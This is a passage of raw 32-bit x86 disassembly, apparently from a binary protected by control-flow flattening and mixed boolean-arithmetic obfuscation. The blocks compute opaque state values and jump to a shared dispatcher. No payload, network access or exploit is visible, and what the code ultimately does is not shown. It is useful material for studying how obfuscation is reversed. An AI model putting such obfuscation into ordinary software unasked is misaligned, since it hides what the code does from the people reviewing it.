xor edx, edx
div dword [0x101cde98]
mov ecx, 0xc7a0ec07
xor edx, edx
div ecx
add eax, 0xa8daa5a8
or eax, 0x38639e7e
mov ecx, 0xb275691d
xor edx, edx
div ecx
imul eax, eax, 0x986c5edf
mov ecx, 0x3b24769c
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x3edbda89
mov edx, 0xffffffff
xor edx, 0x3edbda89
and eax, edx
or ecx, eax
mov edx, 0xffffffff
xor edx, 0xe192ca26
mov eax, ecx
xor eax, edx
and eax, ecx
sub eax, 0x6b3807a
mov ecx, 0x4820f57c
xor edx, edx
div ecx
imul ecx, eax, 0xcc62d810
and ecx, 0xc4ce97bd
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xb0572206
mov esi, 0xffffffff
xor esi, 0xb0572206
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0xb0572206
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
sub eax, 0x32993464
mov ecx, 0x58deb9d2
xor edx, edx
div ecx
imul ecx, eax, 0xbfc329ac
mov eax, ecx
and eax, 0xb30d9e80
shl eax, 1
add ecx, 0xb30d9e80
sub ecx, eax
add ecx, 0x71e091d6
and ecx, 0x3e7c0a3a
add ecx, 0x392fa683
mov eax, ecx
xor eax, 0x3f06ae80
xor eax, 0xffffffff
and eax, 0x3f06ae80
shl eax, 1
sub eax, 0x3f06ae80
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xc30086ce
mov esi, 0xffffffff
xor esi, 0xc30086ce
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xc30086ce
or ecx, 0xc30086ce
imul ecx, edx
add ecx, eax
and ecx, 0xa4832cce
add ecx, 0x8c194b88
add ecx, 0x879679c8
sub ecx, 0x8c194b88
or ecx, 0x6a639a4a
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x4c6d9a5d
and ecx, 0x4c6d9a5d
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0x94d87836
add eax, 0x2dce8308
mov ecx, 0x4b8058bb
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xa9dafeb9
add ecx, eax
xor eax, eax
sub eax, 0xca0080fe
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x10701e56
mov edx, 0xffffffff
xor edx, 0x10701e56
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x9d06464a
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x63579bb3
add eax, ecx
sub eax, 0xcc90b507
sub eax, 0x68118402
add eax, 0xcc90b507
mov ecx, 0x931c363a
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
sub esi, 0x1bbe49cc
mov edi, 0xffffffff
xor edi, 0x8795993b
mov edx, esi
and edx, edi
mov ecx, esi
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, esi
and edx, 0x8795993b
or esi, 0x8795993b
imul esi, edx
add esi, ecx
or esi, 0xc33cc57
xor ecx, ecx
sub ecx, 0xfe0a57e2
sub esi, ecx
mov ecx, 0xe4d19a81
mov edx, 0xff23a558
cmp esi, 0x55f9d4e7
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cde9c]
mov ecx, dword [0x101cdea0]
add eax, 0x8eebb634
add eax, ecx
sub eax, 0x8eebb634
imul ecx, eax, 0xec25e071
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x5cca9620
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x190], eax
mov esi, 0xffffffff
xor esi, 0x997f1222
mov edx, 0xffffffff
xor edx, 0x28d5a6d1
and eax, 0x28d5a6d1
and ecx, edx
mov edi, esi
and edi, 0x28d5a6d1
mov ebx, edx
and ebx, 0x997f1222
or eax, ecx
mov ecx, dword [ebp - 0x190]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x28d5a6d1
and ecx, edx
or eax, ecx
mov ecx, 0x9d5c2e85
xor edx, edx
div ecx
mov ecx, eax
mov esi, 0xffffffff
xor esi, 0xa0e75923
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xa0e75923
or ecx, 0xa0e75923
imul ecx, edx
add ecx, eax
xor eax, eax
sub eax, 0xff8f7807
sub ecx, eax
add ecx, 0xf6eca4bc
add ecx, 0xbde94ba3
sub ecx, 0xf6eca4bc
or ecx, 0xfb250135
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xa3387e4b
mov esi, 0xffffffff
xor esi, 0xa3387e4b
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xa3387e4b
or ecx, 0xa3387e4b
imul ecx, edx
add ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x23992562
mov esi, 0xffffffff
xor esi, 0x23992562
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x23992562
or ecx, 0x23992562
imul ecx, edx
add ecx, eax
or ecx, 0x7705ab94
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb1483b36
mov eax, 0xffffffff
xor eax, 0x533b2d7d
or ecx, edx
or eax, 0x533b2d7d
xor ecx, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0x4316190
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4316190
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
or eax, 0x373cfa4b
sub eax, 0xfd4477bb
mov ecx, 0x5a3d86dc
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x3aed9c51
mov esi, 0xffffffff
xor esi, 0x3aed9c51
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x3aed9c51
or eax, 0x3aed9c51
imul eax, edx
add eax, ecx
sub eax, 0x1d7240f8
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2c201e84
mov ecx, 0xffffffff
xor ecx, 0x79891051
or eax, edx
or ecx, 0x79891051
xor eax, 0xffffffff
and eax, ecx
and eax, 0x95a22723
mov ecx, 0x9dfa6f71
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x3aac93a0
or edx, 0x3aac93a0
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3aac93a0
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
or eax, 0xf1372871
mov ecx, 0x356aefa4
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x8fa5689e
mov edx, 0xffffffff
xor edx, 0x8fa5689e
and eax, edx
or ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x66eeb671
add ecx, eax
mov eax, 0xffffffff
xor eax, 0xca0f5083
add ecx, eax
add ecx, 1
and ecx, 0x31cf779
mov eax, ecx
and eax, 0x3dbff522
shl eax, 1
add ecx, 0x3dbff522
sub ecx, eax
mov eax, ecx
and eax, 0x1da18234
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1da18234
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
sub eax, 0x22bfcd54
add eax, 0x361cf84c
add eax, 0x22bfcd54
and eax, 0x3d8fcdca
mov ecx, 0x6d5d780f
xor edx, edx
div ecx
sub eax, 0x7462745a
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf4a7e432
mov ecx, 0xffffffff
xor ecx, 0x6c556f02
or eax, edx
or ecx, 0x6c556f02
xor eax, 0xffffffff
and eax, ecx
xor ecx, ecx
sub ecx, 0xb45a6ead
sub eax, ecx
mov ecx, 0x1f5d1887
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, 0x5b6b54e7
mov edx, 0xffffffff
xor edx, 0xd424d94a
xor esi, esi
sub esi, 1
sub edx, esi
sub ecx, edx
mov esi, ecx
and esi, 0xa7e98d72
xor esi, 0xffffffff
and ecx, 0xa7e98d72
xor ecx, 0xffffffff
and esi, ecx
xor esi, 0xffffffff
mov ecx, 0x794fe0e7
mov edx, 0x3cedf109
cmp esi, 0xe63eb0d3
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdeb4]
add eax, dword [0x101cdeb8]
mov ecx, 0x342cef97
xor edx, edx
div ecx
mov ecx, 0xb6bd8cd7
xor edx, edx
div ecx
mov ecx, 0x4fd10f6f
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5eba3f85
mov edx, 0xffffffff
xor edx, 0x5eba3f85
and eax, edx
or ecx, eax
add ecx, 0x3e42f7a7
mov eax, ecx
and eax, 0x94676c3b
shl eax, 1
add ecx, 0x94676c3b
sub ecx, eax
and ecx, 0xc45d7217
mov eax, ecx
xor eax, 0x8daa09c8
xor eax, 0xffffffff
or ecx, 0x8daa09c8
and ecx, eax
mov eax, ecx
and eax, 0x33299288
xor ecx, 0x33299288
or eax, ecx
mov ecx, 0xe68d687
xor edx, edx
div ecx
xor eax, 0x317c25e1
mov ecx, eax
and ecx, 0x9637d26d
shl ecx, 1
add eax, 0x9637d26d
sub eax, ecx
add eax, 0x37cf2df1
and eax, 0xa2109ece
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x194], edx
mov edi, 0xffffffff
xor edi, 0x73e14d49
mov esi, 0xffffffff
xor esi, 0x94659d6a
and edx, 0x94659d6a
and eax, esi
mov ebx, edi
and ebx, 0x94659d6a
mov ecx, esi
and ecx, 0x73e14d49
or edx, eax
mov eax, dword [ebp - 0x194]
or ebx, ecx
mov ecx, dword [ebp - 0x4c]
xor edx, ebx
or eax, edi
xor eax, 0xffffffff
or esi, 0x94659d6a
and eax, esi
or edx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0x4eea2de4
mov esi, 0xffffffff
xor esi, 0x4eea2de4
and edx, esi
or eax, edx
mov esi, 0xffffffff
xor esi, 0xf5662c4e
mov edx, eax
and edx, esi
mov esi, eax
xor esi, 0xf5662c4e
add eax, esi
sub eax, edx
mov edx, 0xffffffff
xor edx, 0xd6d2097d
add eax, edx
add eax, 1
imul eax, eax, 0xd465afa
sub eax, 0x28a6287e
sub eax, 0xf135d9e3
sub eax, 0x7d185633
add eax, 0xf135d9e3
mov edx, eax
and edx, 0x8bc1907e
xor eax, 0x8bc1907e
or edx, eax
mov eax, edx
and eax, 0x15133c85
or edx, 0x15133c85
add eax, edx
mov edx, eax
xor edx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
or edx, esi
and edx, 0x97fcbfc8
xor edx, 0xffffffff
mov esi, 0x97fcbfc8
and esi, 0x97fcbfc8
xor esi, 0xffffffff
and eax, esi
xor eax, 0xffffffff
and edx, eax
xor edx, 0xffffffff
mov eax, edx
xor eax, 0xc3cc95b3
xor eax, 0xffffffff
or edx, 0xc3cc95b3
and edx, eax
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xe5909f3f
mov eax, 0xffffffff
xor eax, 0xa352c094
or edx, esi
or eax, 0xa352c094
xor edx, 0xffffffff
and edx, eax
mov eax, edx
and eax, 0x178cf3b5
xor eax, 0xffffffff
add edx, 0x178cf3b5
add edx, 1
add edx, eax
mov eax, edx
and eax, 0x1be39650
xor edx, 0x1be39650
or eax, edx
mov esi, 0x1f08386f
xor edx, edx
div esi
imul eax, eax, 0xa5e9d52c
mov edx, 0xffffffff
xor edx, 0x73495138
add eax, edx
add eax, 1
imul edi, eax, 0xde9644b1
mov eax, edi
xor eax, 0xffffffff
and eax, 0xbf6edd99
mov esi, 0xffffffff
xor esi, 0xbf6edd99
and edi, esi
mov edx, 0xffffffff
xor edx, 0x13503a7b
and edx, 0xbf6edd99
and esi, 0x13503a7b
or eax, edi
or edx, esi
xor eax, edx
sub eax, 0x4913c8c7
mov edi, 0xffffffff
xor edi, 0x98239647
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0x98239647
or eax, 0x98239647
imul eax, esi
add eax, edx
or eax, 0x8b078b6
xor edx, edx
sub edx, 0xd583b3e2
sub eax, edx
sub eax, 0x565af318
mov esi, 0x60b0f618
xor edx, edx
div esi
mov esi, eax
mov eax, dword [ebp - 0x1c]
add esi, 0xc495c45b
mov edx, dword [ecx]
add edx, 0x8d020626
add edx, 1
sub edx, 0x8d020626
mov dword [ecx], edx
mov ecx, 0x89c1b582
mov edx, 0xd9391717
cmp esi, 0xb2c3174c
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xd663cff1
jmp 0x1009a830
mov ecx, dword [0x101cdebc]
imul ecx, dword [0x101cdec0]
mov eax, ecx
and eax, 0x8d25bd83
xor eax, 0xffffffff
and ecx, 0x8d25bd83
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
xor ecx, 0x831a2e98
mov edx, 0xffffffff
xor edx, 0x831a2e98
and eax, edx
shl eax, 1
sub eax, ecx
imul eax, eax, 0xa911c442
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0x198], esi
mov edx, 0xffffffff
xor edx, 0xc840c07b
mov ecx, 0xffffffff
xor ecx, 0x849c2e5
and esi, 0x849c2e5
and eax, ecx
mov edi, edx
and edi, 0x849c2e5
mov ebx, ecx
and ebx, 0xc840c07b
or esi, eax
mov eax, dword [ebp - 0x198]
or edi, ebx
xor esi, edi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x849c2e5
and eax, ecx
or esi, eax
mov eax, esi
xor eax, 0xb269c6a4
xor eax, 0xffffffff
or esi, 0xb269c6a4
and esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x4e356529
mov edx, 0xffffffff
xor edx, 0x4e356529
and esi, edx
mov eax, 0xffffffff
xor eax, 0x2001bc7c
and eax, 0x4e356529
and edx, 0x2001bc7c
or ecx, esi
or eax, edx
xor ecx, eax
mov edx, 0xffffffff
xor edx, 0x95da660e
mov eax, ecx
xor eax, edx
and eax, ecx
or eax, 0x58976fdf
mov ecx, 0xb6b39d2b
xor edx, edx
div ecx
imul esi, eax, 0xc3881c3d
mov eax, esi
xor eax, 0xffffffff
and eax, 0x52be1f62
mov edx, 0xffffffff
xor edx, 0x52be1f62
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xa75e6e63
and ecx, 0x52be1f62
and edx, 0xa75e6e63
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xd70fd62d
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x1a353f4e
xor ecx, 0x1a353f4e
or eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xa80783ea
add eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x567a490a
or ecx, 0x567a490a
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or eax, 0x3c70dd22
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf55fcea
or ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf55fcea
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xfe58214d
mov edx, 0xffffffff
xor edx, 0xfe58214d
and ecx, edx
shl ecx, 1
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0xbece200d
mov eax, ecx
xor eax, edx
and eax, ecx
sub eax, 0xe574253c
or eax, 0x78f8a4cb
mov edx, eax
xor edx, 0xffffffff
and edx, 0xbaecc7d3
mov esi, 0xffffffff
xor esi, 0xbaecc7d3
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xbaecc7d3
or eax, 0xbaecc7d3
imul eax, edx
add eax, ecx
mov ecx, 0xf4e266ea
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x87d656a
xor ecx, 0xffffffff
or eax, 0x87d656a
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
sub ecx, 0x57a14245
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb2e11d39
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb2e11d39
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x52a07e3
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x5bbc66cb
xor edx, edx
div ecx
imul eax, eax, 0xf1966db0
mov ecx, 0xca8ccfc7
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7e776f02
mov esi, 0xffffffff
xor esi, 0x7e776f02
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7e776f02
or eax, 0x7e776f02
imul eax, edx
add eax, ecx
or eax, 0xed19850
mov ecx, 0x2cd793c7
xor edx, edx
div ecx
imul eax, eax, 0xec43f613
sub eax, 0x7f1d5497
sub eax, 0xba532ff9
add eax, 0x7f1d5497
mov ecx, 0xfac248cc
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x3f82073f
add eax, ecx
imul eax, eax, 0x73b0b94f
xor ecx, ecx
sub ecx, 0xf76b2c16
sub eax, ecx
mov ecx, 0x68bbf3a2
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x6b3cb39a
mov edx, 0x6a4eef98
cmp esi, 0xef9f5464
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov ecx, dword [0x101cded4]
or ecx, dword [0x101cded8]
add ecx, 0x2b139b6d
add ecx, 0x7386c280
sub ecx, 0x2b139b6d
mov eax, ecx
and eax, 0xb6a52b38
shl eax, 1
add ecx, 0xb6a52b38
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x19c], eax
mov esi, 0xffffffff
xor esi, 0x3af8f8c4
mov edx, 0xffffffff
xor edx, 0xc2dfff00
and eax, 0xc2dfff00
and ecx, edx
mov edi, esi
and edi, 0xc2dfff00
mov ebx, edx
and ebx, 0x3af8f8c4
or eax, ecx
mov ecx, dword [ebp - 0x19c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xc2dfff00
and ecx, edx
or eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x4bde493c
add eax, ecx
or eax, 0x9250f08e
mov ecx, eax
and ecx, 0x5ef89014
shl ecx, 1
add eax, 0x5ef89014
sub eax, ecx
add eax, 0xe61ad039
mov ecx, 0xffffffff
xor ecx, 0xa89537ab
add eax, ecx
add eax, 1
xor eax, 0xbf72e214
sub eax, 0xef4f56f1
mov ecx, 0x7145ab4b
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xf78e09a9
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x95304d07
mov edx, 0xffffffff
xor edx, 0x95304d07
and ecx, edx
or eax, ecx
or eax, 0xd112fffa
mov ecx, 0x47779b6f
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x66ad328a
sub ecx, 0x345b1423
sub ecx, 0x66ad328a
mov edx, 0xffffffff
xor edx, 0xd9f8fb87
mov eax, ecx
xor eax, edx
and eax, ecx
mov esi, 0xffffffff
xor esi, 0x9ff73213
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9ff73213
or eax, 0x9ff73213
imul eax, edx
add eax, ecx
xor eax, 0xc4f61561
mov ecx, 0xa77e1302
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x1a64489c
shl eax, 1
add ecx, 0x1a64489c
sub ecx, eax
xor ecx, 0xe06317fe
or ecx, 0x41edfa62
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9ae30b6b
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9ae30b6b
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0x8a6d2b43
xor ecx, 0xffffffff
add eax, 0x8a6d2b43
add eax, 1
add eax, ecx
imul eax, eax, 0xf01ae6cc
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe11071f4
mov esi, 0xffffffff
xor esi, 0xe11071f4
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xe11071f4
or eax, 0xe11071f4
imul eax, edx
add eax, ecx
sub eax, 0xa9dd962e
sub eax, 0x7b4fe77a
add eax, 0xa9dd962e
or eax, 0xdda89aaf
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x65845ce5
add ecx, eax
xor eax, eax
sub eax, ecx
xor eax, 0x65536c4f
mov ecx, 0x6a778517
xor edx, edx
div ecx
imul eax, eax, 0xe434c13
xor ecx, ecx
sub ecx, 0xda718980
sub eax, ecx
sub eax, 0x6e5948e5
imul eax, eax, 0xb3a809ae
or eax, 0xffb172b5
mov ecx, 0x4a42c611
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
and ecx, 0x8170f1a7
imul esi, ecx, 0x35473a29
mov ecx, 0x75ad91de
mov edx, 0xdb389064
cmp esi, 0x393bdf11
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdee4]
sub eax, dword [0x101cdee8]
mov edx, eax
xor edx, 0xffffffff
and edx, 0x87e2b5d9
mov esi, 0xffffffff
xor esi, 0x87e2b5d9
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x87e2b5d9
or eax, 0x87e2b5d9
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x114997a1
mov ecx, 0xffffffff
xor ecx, 0xf8d059d6
or eax, edx
or ecx, 0xf8d059d6
xor eax, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0xa70ce236
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa70ce236
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xa3b44c3e
mov eax, ecx
and eax, 0x9b6a932a
xor ecx, 0x9b6a932a
or eax, ecx
xor eax, 0xce7cd8e6
mov ecx, 0xffffffff
xor ecx, 0x5a8ef560
add eax, ecx
add eax, 1
mov ecx, 0xf01f94d8
xor edx, edx
div ecx
imul eax, eax, 0x658ee65d
and eax, 0x976c1016
xor eax, 0x59868cf8
and eax, 0x323f454e
or eax, 0x2257e48
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x531fe598
add eax, ecx
xor eax, 0xef43d49c
mov ecx, 0xdd12b42e
xor edx, edx
div ecx
imul eax, eax, 0xc2a384f
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x97dd923
mov ecx, 0xffffffff
xor ecx, 0xe88d2850
or eax, edx
or ecx, 0xe88d2850
xor eax, 0xffffffff
and eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x2f70eb34
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0xff63609f
add eax, 0x9457b1f4
mov esi, 0xffffffff
xor esi, 0x21e91d4a
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x21e91d4a
or eax, 0x21e91d4a
imul eax, edx
add eax, ecx
mov ecx, 0x9c2e5bda
xor edx, edx
div ecx
imul eax, eax, 0x476f3e8d
mov ecx, eax
and ecx, 0xae7b4fa
xor ecx, 0xffffffff
add eax, 0xae7b4fa
add eax, 1
add eax, ecx
sub eax, 0x82b75a6e
imul eax, eax, 0xf5cc3992
or eax, 0x56c4d25b
mov ecx, 0x2e83fbe4
xor edx, edx
div ecx
mov ecx, 0x65fc4dc
xor edx, edx
div ecx
mov ecx, 0x1dca684d
xor edx, edx
div ecx
mov ecx, eax
mov esi, 0xffffffff
xor esi, 0xad56626
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xad56626
or ecx, 0xad56626
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x3bbc0d30
xor ecx, 0x3bbc0d30
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x86bfde36
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x96b2bf9
xor edx, edx
div ecx
imul eax, eax, 0x60a7c61f
mov ecx, 0x4751b568
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, 0xffffffff
xor edx, 0x160f6bce
mov esi, ecx
xor esi, edx
and esi, ecx
mov ecx, esi
xor ecx, 0x569d419a
mov edx, 0xffffffff
xor edx, 0x569d419a
and esi, edx
shl esi, 1
sub esi, ecx
mov ecx, esi
xor ecx, 0xfa74a914
mov edx, 0xffffffff
xor edx, 0xfa74a914
and esi, edx
shl esi, 1
sub esi, ecx
mov ecx, 0xc2153e85
mov edx, 0xd09a8b1d
cmp esi, 0xdeedae5b
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov ecx, dword [ebp - 0x68]
mov eax, dword [0x101cdeec]
mov esi, dword [0x101cdef0]
mov edi, eax
xor edi, esi
xor edi, 0xffffffff
mov edx, esi
and edx, edi
shl edx, 1
sub edx, esi
sub eax, edx
mov esi, 0x82423c82
xor edx, edx
div esi
mov edx, eax
xor edx, 0xffffffff
and edx, 0x5dfb265
mov esi, 0xffffffff
xor esi, 0x5dfb265
and eax, esi
sub eax, edx
and eax, 0x9f51a2c7
and eax, eax
xor eax, 0xffffffff
mov edx, 0xde68dbf4
and edx, 0xde68dbf4
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
xor eax, 0xe0bc49de
mov edx, eax
and edx, 0xbefd5670
xor eax, 0xbefd5670
or edx, eax
mov eax, edx
xor eax, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
and eax, esi
mov esi, 0xffffffff
xor esi, 0xcf66d8a7
mov edi, 0xffffffff
xor edi, 0xcf66d8a7
and esi, edi
xor eax, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or edx, 0xcf66d8a7
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x44757103
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0x44757103
or eax, 0x44757103
imul eax, esi
add eax, edx
xor edx, edx
sub edx, 0x20df7e41
sub eax, edx
add eax, 0x59704090
add eax, 0xcdec15c4
add eax, 0xaeeb8281
sub eax, 0xcdec15c4
sub eax, 0xc73815ab
mov edi, 0xffffffff
xor edi, 0xd70508a0
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0xd70508a0
or eax, 0xd70508a0
imul eax, esi
add eax, edx
add eax, 0xa705d41d
mov edx, eax
and edx, 0x1977855d
shl edx, 1
xor eax, 0x1977855d
add eax, edx
xor eax, 0x8526e70a
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0x8da5638a
add edx, eax
xor eax, eax
sub eax, edx
mov esi, 0x98415de0
xor edx, edx
div esi
mov edx, eax
add edx, 1
xor eax, 0xffffffff
or eax, 0xfe4ee208
add eax, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1aae7e7f
mov esi, 0xffffffff
xor esi, 0x1aae7e7f
and eax, esi
or edx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0xfbbb3478
mov esi, 0xffffffff
xor esi, 0xfbbb3478
and edx, esi
sub edx, eax
mov esi, 0xffffffff
xor esi, 0xba60df41
mov eax, edx
xor eax, esi
and eax, edx
mov edi, 0xffffffff
xor edi, 0x83bec6cb
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0x83bec6cb
or eax, 0x83bec6cb
imul eax, esi
add eax, edx
add eax, 0x8a82de5b
add eax, 0x83d982e9
sub eax, 0x8a82de5b
sub eax, 0x3dc0228d
sub eax, 0xb1f35158
add eax, 0x3dc0228d
mov edx, eax
xor edx, 0x91660288
xor edx, 0xffffffff
and edx, 0x91660288
shl edx, 1
sub edx, 0x91660288
sub eax, edx
sub eax, 0x2f14d21a
mov esi, 0x74fddda7
xor edx, edx
div esi
mov edx, eax
and edx, 0x7611ca1a
shl edx, 1
xor eax, 0x7611ca1a
add eax, edx
mov edx, 0xffffffff
xor edx, 0x970cc84b
mov edi, eax
xor edi, edx
